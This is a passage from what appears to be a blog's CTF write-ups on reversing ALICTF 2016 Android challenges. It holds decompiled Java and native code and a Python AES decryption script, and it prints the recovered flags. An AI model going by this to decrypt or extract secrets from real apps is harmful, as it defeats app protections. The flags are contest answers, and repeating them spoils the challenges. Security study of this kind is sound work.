<span class="kd">private</span> <span class="kd">static</span> <span class="kt">int</span><span class="o">[]</span> <span class="n">g</span> <span class="o">=</span> <span class="o">{</span> <span class="mi">141</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">8</span><span class="o">,</span> <span class="mi">16</span><span class="o">,</span> <span class="mi">32</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">128</span><span class="o">,</span> <span class="mi">27</span><span class="o">,</span> <span class="mi">54</span><span class="o">,</span> <span class="mi">108</span><span class="o">,</span> <span class="mi">216</span><span class="o">,</span> <span class="mi">171</span><span class="o">,</span> <span class="mi">77</span><span class="o">,</span> <span class="mi">154</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">94</span><span class="o">,</span> <span class="mi">188</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">198</span><span class="o">,</span> <span class="mi">151</span><span class="o">,</span> <span class="mi">53</span><span class="o">,</span> <span class="mi">106</span><span class="o">,</span> <span class="mi">212</span><span class="o">,</span> <span class="mi">179</span><span class="o">,</span> <span class="mi">125</span><span class="o">,</span> <span class="mi">250</span><span class="o">,</span> <span class="mi">239</span><span class="o">,</span> <span class="mi">197</span><span class="o">,</span> <span class="mi">145</span><span class="o">,</span> <span class="mi">57</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">228</span><span class="o">,</span> <span class="mi">211</span><span class="o">,</span> <span class="mi">189</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">194</span><span class="o">,</span> <span class="mi">159</span><span class="o">,</span> <span class="mi">37</span><span class="o">,</span> <span class="mi">74</span><span class="o">,</span> <span class="mi">148</span><span class="o">,</span> <span class="mi">51</span><span class="o">,</span> <span class="mi">102</span><span class="o">,</span> <span class="mi">204</span><span class="o">,</span> <span class="mi">131</span><span class="o">,</span> <span class="mi">29</span><span class="o">,</span> <span class="mi">58</span><span class="o">,</span> <span class="mi">116</span><span class="o">,</span> <span class="mi">232</span><span class="o">,</span> <span class="mi">203</span><span class="o">,</span> <span class="mi">141</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">8</span><span class="o">,</span> <span class="mi">16</span><span class="o">,</span> <span class="mi">32</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">128</span><span class="o">,</span> <span class="mi">27</span><span class="o">,</span> <span class="mi">54</span><span class="o">,</span> <span class="mi">108</span><span class="o">,</span> <span class="mi">216</span><span class="o">,</span> <span class="mi">171</span><span class="o">,</span> <span class="mi">77</span><span class="o">,</span> <span class="mi">154</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">94</span><span class="o">,</span> <span class="mi">188</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">198</span><span class="o">,</span> <span class="mi">151</span><span class="o">,</span> <span class="mi">53</span><span class="o">,</span> <span class="mi">106</span><span class="o">,</span> <span class="mi">212</span><span class="o">,</span> <span class="mi">179</span><span class="o">,</span> <span class="mi">125</span><span class="o">,</span> <span class="mi">250</span><span class="o">,</span> <span class="mi">239</span><span class="o">,</span> <span class="mi">197</span><span class="o">,</span> <span class="mi">145</span><span class="o">,</span> <span class="mi">57</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">228</span><span class="o">,</span> <span class="mi">211</span><span class="o">,</span> <span class="mi">189</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">194</span><span class="o">,</span> <span class="mi">159</span><span class="o">,</span> <span class="mi">37</span><span class="o">,</span> <span class="mi">74</span><span class="o">,</span> <span class="mi">148</span><span class="o">,</span> <span class="mi">51</span><span class="o">,</span> <span class="mi">102</span><span class="o">,</span> <span class="mi">204</span><span class="o">,</span> <span class="mi">131</span><span class="o">,</span> <span class="mi">29</span><span class="o">,</span> <span class="mi">58</span><span class="o">,</span> <span class="mi">116</span><span class="o">,</span> <span class="mi">232</span><span class="o">,</span> <span class="mi">203</span><span class="o">,</span> <span class="mi">141</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">8</span><span class="o">,</span> <span class="mi">16</span><span class="o">,</span> <span class="mi">32</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">128</span><span class="o">,</span> <span class="mi">27</span><span class="o">,</span> <span class="mi">54</span><span class="o">,</span> <span class="mi">108</span><span class="o">,</span> <span class="mi">216</span><span class="o">,</span> <span class="mi">171</span><span class="o">,</span> <span class="mi">77</span><span class="o">,</span> <span class="mi">154</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">94</span><span class="o">,</span> <span class="mi">188</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">198</span><span class="o">,</span> <span class="mi">151</span><span class="o">,</span> <span class="mi">53</span><span class="o">,</span> <span class="mi">106</span><span class="o">,</span> <span class="mi">212</span><span class="o">,</span> <span class="mi">179</span><span class="o">,</span> <span class="mi">125</span><span class="o">,</span> <span class="mi">250</span><span class="o">,</span> <span class="mi">239</span><span class="o">,</span> <span class="mi">197</span><span class="o">,</span> <span class="mi">145</span><span class="o">,</span> <span class="mi">57</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">228</span><span class="o">,</span> <span class="mi">211</span><span class="o">,</span> <span class="mi">189</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">194</span><span class="o">,</span> <span class="mi">159</span><span class="o">,</span> <span class="mi">37</span><span class="o">,</span> <span class="mi">74</span><span class="o">,</span> <span class="mi">148</span><span class="o">,</span> <span class="mi">51</span><span class="o">,</span> <span class="mi">102</span><span class="o">,</span> <span class="mi">204</span><span class="o">,</span> <span class="mi">131</span><span class="o">,</span> <span class="mi">29</span><span class="o">,</span> <span class="mi">58</span><span class="o">,</span> <span class="mi">116</span><span class="o">,</span> <span class="mi">232</span><span class="o">,</span> <span class="mi">203</span><span class="o">,</span> <span class="mi">141</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">8</span><span class="o">,</span> <span class="mi">16</span><span class="o">,</span> <span class="mi">32</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">128</span><span class="o">,</span> <span class="mi">27</span><span class="o">,</span> <span class="mi">54</span><span class="o">,</span> <span class="mi">108</span><span class="o">,</span> <span class="mi">216</span><span class="o">,</span> <span class="mi">171</span><span class="o">,</span> <span class="mi">77</span><span class="o">,</span> <span class="mi">154</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">94</span><span class="o">,</span> <span class="mi">188</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">198</span><span class="o">,</span> <span class="mi">151</span><span class="o">,</span> <span class="mi">53</span><span class="o">,</span> <span class="mi">106</span><span class="o">,</span> <span class="mi">212</span><span class="o">,</span> <span class="mi">179</span><span class="o">,</span> <span class="mi">125</span><span class="o">,</span> <span class="mi">250</span><span class="o">,</span> <span class="mi">239</span><span class="o">,</span> <span class="mi">197</span><span class="o">,</span> <span class="mi">145</span><span class="o">,</span> <span class="mi">57</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">228</span><span class="o">,</span> <span class="mi">211</span><span class="o">,</span> <span class="mi">189</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">194</span><span class="o">,</span> <span class="mi">159</span><span class="o">,</span> <span class="mi">37</span><span class="o">,</span> <span class="mi">74</span><span class="o">,</span> <span class="mi">148</span><span class="o">,</span> <span class="mi">51</span><span class="o">,</span> <span class="mi">102</span><span class="o">,</span> <span class="mi">204</span><span class="o">,</span> <span class="mi">131</span><span class="o">,</span> <span class="mi">29</span><span class="o">,</span> <span class="mi">58</span><span class="o">,</span> <span class="mi">116</span><span class="o">,</span> <span class="mi">232</span><span class="o">,</span> <span class="mi">203</span><span class="o">,</span> <span class="mi">141</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">8</span><span class="o">,</span> <span class="mi">16</span><span class="o">,</span> <span class="mi">32</span><span class="o">,</span> <span class="mi">64</span><span class="o">,</span> <span class="mi">128</span><span class="o">,</span> <span class="mi">27</span><span class="o">,</span> <span class="mi">54</span><span class="o">,</span> <span class="mi">108</span><span class="o">,</span> <span class="mi">216</span><span class="o">,</span> <span class="mi">171</span><span class="o">,</span> <span class="mi">77</span><span class="o">,</span> <span class="mi">154</span><span class="o">,</span> <span class="mi">47</span><span class="o">,</span> <span class="mi">94</span><span class="o">,</span> <span class="mi">188</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">198</span><span class="o">,</span> <span class="mi">151</span><span class="o">,</span> <span class="mi">53</span><span class="o">,</span> <span class="mi">106</span><span class="o">,</span> <span class="mi">212</span><span class="o">,</span> <span class="mi">179</span><span class="o">,</span> <span class="mi">125</span><span class="o">,</span> <span class="mi">250</span><span class="o">,</span> <span class="mi">239</span><span class="o">,</span> <span class="mi">197</span><span class="o">,</span> <span class="mi">145</span><span class="o">,</span> <span class="mi">57</span><span class="o">,</span> <span class="mi">114</span><span class="o">,</span> <span class="mi">228</span><span class="o">,</span> <span class="mi">211</span><span class="o">,</span> <span class="mi">189</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">194</span><span class="o">,</span> <span class="mi">159</span><span class="o">,</span> <span class="mi">37</span><span class="o">,</span> <span class="mi">74</span><span class="o">,</span> <span class="mi">148</span><span class="o">,</span> <span class="mi">51</span><span class="o">,</span> <span class="mi">102</span><span class="o">,</span> <span class="mi">204</span><span class="o">,</span> <span class="mi">131</span><span class="o">,</span> <span class="mi">29</span><span class="o">,</span> <span class="mi">58</span><span class="o">,</span> <span class="mi">116</span><span class="o">,</span> <span class="mi">232</span><span class="o">,</span> <span class="mi">203</span> <span class="o">};</span>
<span class="o">**</span><span class="nc">Truncated</span><span class="o">**</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Following that further, we found a class that describes the final representation of the data:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="code"><pre><span class="kn">package</span> <span class="nn">eu.veldsoft.colors.overflow</span><span class="o">;</span>
<span class="o">**</span><span class="nc">Truncated</span><span class="o">**</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">customDataStructure</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">timeOfEncryption</span><span class="o">(</span><span class="nc">OutputStream</span> <span class="n">paramOutputStream</span><span class="o">,</span> <span class="kt">long</span> <span class="n">paramLong</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="mi">21</span><span class="o">);</span>
<span class="k">while</span> <span class="o">((</span><span class="mh">0xFFFFFFFFFFFFFF80</span> <span class="o">&</span> <span class="n">paramLong</span><span class="o">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="no">L</span><span class="o">)</span> <span class="o">{</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">((</span><span class="kt">byte</span><span class="o">)(</span><span class="kt">int</span><span class="o">)(</span><span class="mh">0x7F</span> <span class="o">&</span> <span class="n">paramLong</span> <span class="o">|</span> <span class="mh">0x80</span><span class="o">));</span>
<span class="n">paramLong</span> <span class="o">>>=</span> <span class="mi">7</span><span class="o">;</span>
<span class="o">}</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">((</span><span class="kt">byte</span><span class="o">)(</span><span class="kt">int</span><span class="o">)</span> <span class="n">paramLong</span><span class="o">);</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">paramOutputStream</span><span class="o">)</span> <span class="o">{</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">android_id</span><span class="o">(</span><span class="nc">OutputStream</span> <span class="n">paramOutputStream</span><span class="o">,</span> <span class="nc">String</span> <span class="n">paramString</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="mi">18</span><span class="o">);</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">((</span><span class="kt">byte</span><span class="o">)</span> <span class="n">paramString</span><span class="o">.</span><span class="na">length</span><span class="o">());</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">paramString</span><span class="o">.</span><span class="na">getBytes</span><span class="o">());</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">paramOutputStream</span><span class="o">)</span> <span class="o">{</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">data</span><span class="o">(</span><span class="nc">OutputStream</span> <span class="n">paramOutputStream</span><span class="o">,</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">paramArrayOfByte</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="mi">24</span><span class="o">);</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">((</span><span class="kt">byte</span><span class="o">)</span> <span class="n">paramArrayOfByte</span><span class="o">.</span><span class="na">length</span><span class="o">);</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">paramArrayOfByte</span><span class="o">);</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">paramOutputStream</span><span class="o">)</span> <span class="o">{</span>
<span class="n">paramOutputStream</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And that class was used here:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code"><pre><span class="kn">package</span> <span class="nn">eu.veldsoft.colors.overflow</span><span class="o">;</span>
<span class="o">**</span><span class="nc">Truncated</span><span class="o">**</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">n</span> <span class="o">{</span>
<span class="o">**</span><span class="nc">Truncated</span><span class="o">**</span>
<span class="kd">public</span> <span class="nc">ByteArrayOutputStream</span> <span class="nf">i</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">byteOutputStream</span><span class="o">.</span><span class="na">reset</span><span class="o">();</span>
<span class="n">customDataStructure</span><span class="o">.</span><span class="na">android_id</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">byteOutputStream</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">android_id</span><span class="o">);</span>
<span class="n">customDataStructure</span><span class="o">.</span><span class="na">timeOfEncryption</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">byteOutputStream</span><span class="o">,</span> <span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">());</span>
<span class="n">customDataStructure</span><span class="o">.</span><span class="na">data</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">byteOutputStream</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">SHA1PRNG</span><span class="o">);</span>
<span class="n">customDataStructure</span><span class="o">.</span><span class="na">data</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">byteOutputStream</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">highScoreDataPlusMessage</span><span class="o">);</span>
<span class="k">this</span><span class="o">.</span><span class="na">byteOutputStream</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
<span class="k">return</span> <span class="k">this</span><span class="o">.</span><span class="na">byteOutputStream</span><span class="o">;</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">localException</span><span class="o">)</span> <span class="o">{</span>
<span class="k">for</span> <span class="o">(;;)</span> <span class="o">{</span>
<span class="n">localException</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>With this class, we are able to further understand what the data is representing:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>12 10 62623339623037303630646561626435 => android_id with length 0x10
15 b9e8f3d3ca2a => current_time
18 10 46514bf9f2b3cd3bf580b7cd9bae4514 => SHA1PRNG with length 0x10
18 20 da2990bf15b7fd98a4e73ef766cd714f6f63b2e7f270c55f0caf7e704ca7702f => highScoreDataPlusMessage with length 0x20
</code></pre></div></div>
<p>Compiling and running the decompiled Java code gives us the IV required for the AES decryption.</p>
<p>Using a simple python script to run the AES decryption with the key and IV.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">import</span> <span class="nn">md5</span>
<span class="n">andid</span> <span class="o">=</span><span class="s">'bb39b07060deabd5'</span>
<span class="n">cipherText</span> <span class="o">=</span> <span class="s">'da2990bf15b7fd98a4e73ef766cd714f6f63b2e7f270c55f0caf7e704ca7702f'</span><span class="p">;</span>
<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">cipherText</span><span class="p">):</span>
<span class="c1"># passphrase MUST be 16, 24 or 32 bytes long, how can I do that ?
</span> <span class="n">IV</span> <span class="o">=</span> <span class="s">'46514aad58cf3902f580b69931d2b12d'</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">aes</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">md5</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">andid</span><span class="p">).</span><span class="n">digest</span><span class="p">(),</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">IV</span><span class="p">)</span>
<span class="k">return</span> <span class="n">aes</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">cipherText</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">))</span>
<span class="k">print</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">cipherText</span><span class="p">,</span><span class="s">""</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></figure>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre><span class="nv">$ </span>python color.py
<span class="o">{</span><span class="s2">"alictf{A11IsInTraff1c}"</span>:2580<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And we got our flag! <strong><em>alictf{A11IsInTraff1c}</em></strong>.</p>
<p><a href="https://quanyang.github.io/alictf-2016-coloroverflow/">ALICTF 2016 - ColorOverflow (Reversing 100)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on June 11, 2016.</p>
https://quanyang.github.io/alictf-2016-loopandloop-reversing-1002016-06-06T23:44:13+00:002016-06-06T23:44:13+00:00Yeo Quan Yanghttps://quanyang.github.io
<h1 id="alictf-2016---loopandloop">ALICTF 2016 - LoopAndLoop</h1>
<blockquote>
<p><strong>Points:</strong> 100
<strong>Category:</strong> Reversing<br />
<strong>Description</strong><br />
The friendship between native and dex. (<a href="/resources/files/alictf/LoopAndLoop-android100_b53506eba384796c651d91913aa76d6e.apk">attachment</a>)</p>
</blockquote>
<hr />
<p>Another android reversing challenge. This was the first challenge I solved in the ALICTF, this one was pretty straightforward. An APK is provided, and as usual I first decompile it with apktool and dex2jar.</p>
<p><img src="/resources/images/alictf/loopandloop.png" alt="" /></p>
<p>Upon decompilation with apktool, you’ll notice a <code class="language-plaintext highlighter-rouge">/lib</code> directory which clearly signifies that this apk uses some kind of shared library, and commonly in CTF challenges with APKs, you’d usually be required to reverse the logic found in the shared library.</p>
<p>Next, looking at the dex2jar output, we see some kind of recursive check function that makes use of a function defined in the shared library.</p>
<p>The logic is mainly in the following few snippets of codes:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
</pre></td><td class="code"><pre><span class="kd">public</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">()</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">check</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="mi">99</span><span class="o">)</span> <span class="o">==</span> <span class="mi">1835996258</span><span class="o">)</span> <span class="o">{</span>
<span class="n">localTextView1</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">"The flag is:"</span><span class="o">);</span>
<span class="n">localTextView2</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">"alictf{"</span> <span class="o">+</span> <span class="nc">MainActivity</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">stringFromJNI2</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">+</span> <span class="s">"}"</span><span class="o">);</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">native</span> <span class="kt">int</span> <span class="nf">chec</span><span class="o">(</span><span class="kt">int</span> <span class="n">paramInt1</span><span class="o">,</span> <span class="kt">int</span> <span class="n">paramInt2</span><span class="o">);</span>
<span class="kd">public</span> <span class="kt">int</span> <span class="nf">check</span><span class="o">(</span><span class="kt">int</span> <span class="n">paramInt1</span><span class="o">,</span> <span class="kt">int</span> <span class="n">paramInt2</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="nf">chec</span><span class="o">(</span><span class="n">paramInt1</span><span class="o">,</span> <span class="n">paramInt2</span><span class="o">);</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">int</span> <span class="nf">check1</span><span class="o">(</span><span class="kt">int</span> <span class="n">paramInt1</span><span class="o">,</span> <span class="kt">int</span> <span class="n">paramInt2</span><span class="o">)</span> <span class="o">{</span>
<span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">paramInt1</span><span class="o">;</span>
<span class="n">paramInt1</span> <span class="o">=</span> <span class="n">j</span><span class="o">;</span>
<span class="k">while</span> <span class="o">(</span><span class="n">paramInt1</span> <span class="o"><</span> <span class="mi">100</span><span class="o">)</span> <span class="o">{</span>
<span class="n">i</span> <span class="o">+=</span> <span class="n">paramInt1</span><span class="o">;</span>
<span class="n">paramInt1</span> <span class="o">+=</span> <span class="mi">1</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">return</span> <span class="nf">chec</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="n">paramInt2</span><span class="o">);</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">int</span> <span class="nf">check2</span><span class="o">(</span><span class="kt">int</span> <span class="n">paramInt1</span><span class="o">,</span> <span class="kt">int</span> <span class="n">paramInt2</span><span class="o">)</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">paramInt2</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">paramInt1</span><span class="o">;</span>
<span class="n">paramInt1</span> <span class="o">=</span> <span class="n">j</span><span class="o">;</span>
<span class="k">while</span> <span class="o">(</span><span class="n">paramInt1</span> <span class="o"><</span> <span class="mi">1000</span><span class="o">)</span> <span class="o">{</span>
<span class="n">i</span> <span class="o">+=</span> <span class="n">paramInt1</span><span class="o">;</span>
<span class="n">paramInt1</span> <span class="o">+=</span> <span class="mi">1</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">return</span> <span class="nf">chec</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="n">paramInt2</span><span class="o">);</span>
<span class="o">}</span>
<span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">paramInt1</span><span class="o">;</span>
<span class="n">paramInt1</span> <span class="o">=</span> <span class="n">j</span><span class="o">;</span>
<span class="k">while</span> <span class="o">(</span><span class="n">paramInt1</span> <span class="o"><</span> <span class="mi">1000</span><span class="o">)</span> <span class="o">{</span>
<span class="n">i</span> <span class="o">-=</span> <span class="n">paramInt1</span><span class="o">;</span>
<span class="n">paramInt1</span> <span class="o">+=</span> <span class="mi">1</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">return</span> <span class="nf">chec</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="n">paramInt2</span><span class="o">);</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kt">int</span> <span class="nf">check3</span><span class="o">(</span><span class="kt">int</span> <span class="n">paramInt1</span><span class="o">,</span> <span class="kt">int</span> <span class="n">paramInt2</span><span class="o">)</span> <span class="o">{</span>
<span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">paramInt1</span><span class="o">;</span>
<span class="n">paramInt1</span> <span class="o">=</span> <span class="n">j</span><span class="o">;</span>
<span class="k">while</span> <span class="o">(</span><span class="n">paramInt1</span> <span class="o"><</span> <span class="mi">10000</span><span class="o">)</span> <span class="o">{</span>
<span class="n">i</span> <span class="o">+=</span> <span class="n">paramInt1</span><span class="o">;</span>
<span class="n">paramInt1</span> <span class="o">+=</span> <span class="mi">1</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">return</span> <span class="nf">chec</span><span class="o">(</span><span class="n">i</span><span class="o">,</span> <span class="n">paramInt2</span><span class="o">);</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And the shared library function reversed to give:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="code"><pre><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">Java_net_bluelotus_tomorrow_easyandroid_MainActivity_chec</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a4</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// r4@1</span>
<span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// r7@1</span>
<span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// r0@2</span>
<span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [sp+Ch] [bp-34h]@1</span>
<span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// [sp+10h] [bp-30h]@1</span>
<span class="kt">int</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// [sp+14h] [bp-2Ch]@1</span>
<span class="kt">int</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// [sp+1Ch] [bp-24h]@1</span>
<span class="kt">int</span> <span class="n">v11</span><span class="p">;</span> <span class="c1">// [sp+20h] [bp-20h]@1</span>
<span class="kt">int</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// [sp+24h] [bp-1Ch]@1</span>
<span class="n">v9</span> <span class="o">=</span> <span class="n">a2</span><span class="p">;</span>
